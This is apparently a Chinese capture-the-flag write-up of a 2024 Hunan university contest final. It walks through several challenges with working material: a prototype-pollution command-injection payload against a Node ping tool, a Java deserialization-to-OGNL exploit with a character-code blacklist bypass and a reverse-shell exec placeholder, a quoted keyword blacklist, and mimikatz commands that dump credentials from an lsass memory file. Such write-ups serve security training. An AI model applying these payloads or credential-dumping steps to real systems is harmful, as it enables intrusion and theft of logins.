2024年(第20届)湖南省大学生计算机程序设计竞赛赛后复盘
没有环境,无法复现?
欢迎各位来 https://ctf.huhstsec.top 复现题目
阅前须知
请注意,靶场提供环境并不代表比赛实际环境,此复盘所提供思路并不代表官方题解。如有疑惑,欢迎交流。
本次总决赛除溯源分析题外,共计 6 道题,分别是 3 道 AWDP 和 3 道彩蛋题。以下是一个大致的比赛架构图,仅供参考。

pingline
作为入口题,含金量不用质疑,本题考察 Node.js 原型链污染。
题目是一个在线 ping 工具,先抓包观察正常的请求:

问题代码存在 /app/server/ping.ts
中
"use server";
import { spawn } from "node:child_process";
/*
* Reinventing the wheel and make it square
* Because JSON.parse is not available in the server environment (really?)
*/
function jsonParse(
str: string,
ret?: Record<string, any>
): Record<string, any> {
ret ??= {};
if (!(str.startsWith("{") && str.endsWith("}"))) {
return ret;
}
const matches = str
.slice(1, str.length - 1)
.matchAll(
/(?:^|,)\s*"(?<key>\w+)"\s*:\s*(?<value>\d+|(?:true|false)|"(?:\\.|[^"])*"|\{.+?})/g
);
for (const match of matches) {
const { key, value } = match.groups!;
if (value.startsWith('"')) {
ret[key] = value
.slice(1, value.length - 1)
.replace(/\\(u([0-9a-fA-F]{4})|.)/g, (_, m: string, code: string) =>
m === "u"
? String.fromCharCode(parseInt(code, 16))
: ({ b: "\b", f: "\f", n: "\n", r: "\r", t: "\t" }[m] ?? m)
);
} else if (value.startsWith("{")) {
if (!(key in ret)) ret[key] = {};
jsonParse(value, ret[key]);
} else {
ret[key] = { true: true, false: false }[value] ?? +value;
}
}
return ret;
}
根据代码内注释内容可知,此处使用了一个名为 jsonParse
的自定义函数来解析 JSON 字符串,是因为内置的 JSON.parse()
方法不存在吗?: )
尝试构造请求 ["{\"ip\": \"127.0.0.1;cat /flag\", \"__proto__\": {\"shell\": true}}"]
,结果发现并未报错,但是命令未按期望执行,cat
命令拼接了 W
参数。

再次构造请求:["{\"ip\": \"127.0.0.1;cat /flag;ping -c4 127.0.0.1\", \"__proto__\": {\"shell\": true}}"]
成功执行命令。

ezbypass
很直接的反序列化入口,接下来寻找利用链。

接下来寻找利用链,User 类中一个明显的 ognl 注入。

用 jakeson 链的 POJONode 调用 User 类的 getter 方法。
package com.example.ezbypass;
import com.example.ezbypass.entity.User;
import com.fasterxml.jackson.databind.node.POJONode;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
public class Test {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, IOException, NoSuchFieldException {
String ognlCode = "";
User user = new User("f12", ognlCode);
POJONode pojoNode = new POJONode(user);
System.out.println(serial(pojoNode));
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
}
接下来分析waf,办掉了很多东西,得另辟蹊径。
String[] BlackList = new String[]{"\"", "'", "\\", "invoke", "getclass", "$", "{", "}", "runtime", "java", "script", "process", "start", "flag", "exec", "req", "new", "engine"};
这里选择用拼接的方式绕过关键字的过滤,通过 ASCII 码转字符,使用 + 拼接。
@String@valueOf(@Character@valueOf(65))+@String@valueOf(@Character@valueOf(65))
# AA
虽然这样可以绕过对关键字的过滤,但是由于拼接后类型是字符串,并不能直接当作 ognl 表达式来执行,这里想到 ognl 执行时,getValue 中传入的表达式是字符串类型,所以选择再套一层 ognl。
选择最简单的构造函数
(#ognl = @ognl.Ognl@getValue("ognl表达式", @String@class))
(#a = @String@valueOf(@Character@valueOf(?))+@String@valueOf(@Character@valueOf(?))····).(#ognl = @ognl.Ognl@getValue(#a, @String@class))
这样就能完美的绕过黑名单,编写 exp:
cmd = "(#a = @Runtime@getRuntime().exec(\"反弹shell命令\"))"
for i in range(len(cmd)):
print(f"@String@valueOf(@Character@valueOf({ord(cmd[i])}))", end="+")
package com.example.ezbypass;
import com.example.ezbypass.entity.User;
import com.fasterxml.jackson.databind.node.POJONode;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
public class Test {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, IOException, NoSuchFieldException {
String ognlCode = "上面脚本运行结果";
User user = new User("f12", ognlCode);
POJONode pojoNode = new POJONode(user);
System.out.println(serial(pojoNode));
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
}
结束

scorebot
一个关于 onebot 的利用,首先观察流量包,过滤 WebSocket 流,并追踪此流量。

分析此流量,发现存在末尾存在命令执行相关操作,并且注意道发送包存在 "user_id": 332481971048, "nickname": "admin"
关键字符,怀疑是此账号与管理员相关。
首先安装附件中的协议调试工具:matcha,并在设置中做好连接地址的配置。

接下来是建立用户和机器人,注意,用户账户的角色 ID 必须是 332481971048
才能完成题目,机器人账户随意。

随后建立一个群,将用户账户和机器人拉入。按照流量包的操作,首先发送 /backdoor
,机器人回复后才能执行命令。

easybase

base64 换表加正常 Rc4 这里要注意密钥传入的长度只有 0xC
,直接找到换表的值就可以了。

http://cyberchef.shangwendada.top/#recipe=RC4(%7B'option':'UTF8','string':'ezezrevssefe'%7D,'Hex','Latin1')Base64_%E8%BD%AC%E6%96%87%E6%9C%AC('abcdefghijklmnopqrstuvwxyz0123456789%2B/ABCDEFGHIJKLMNOPQRSTUVWXYZ',true,false)&input=NEUwN0VBREE3MkYyQzcyQTM1ODU3NjZDRTg2ODBFNkRGODNFQkYxNjgyQjMxMTU2Mjc3MTU5NTlFNjAxNUI2MzI2RTE0QjNERjgyNTA4ODVCRUY1NUQ5NzczQjYzOUFG
ppt
首先解压得到一个 ppt,然后再放进 010 看到是个 zip 文件

然后改后缀解压

找到 ppt

打开再找到 slideMasters

把里面无后缀文件放入010看是压缩包,发现要逆一下

然后逆完再爆破密码

解压后获得一个 lsass.dmp 文件,使用 mimikatz.exe 进行 dump,获得 Flag
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonPasswords full

funnycodes
比赛时没找到附件 : (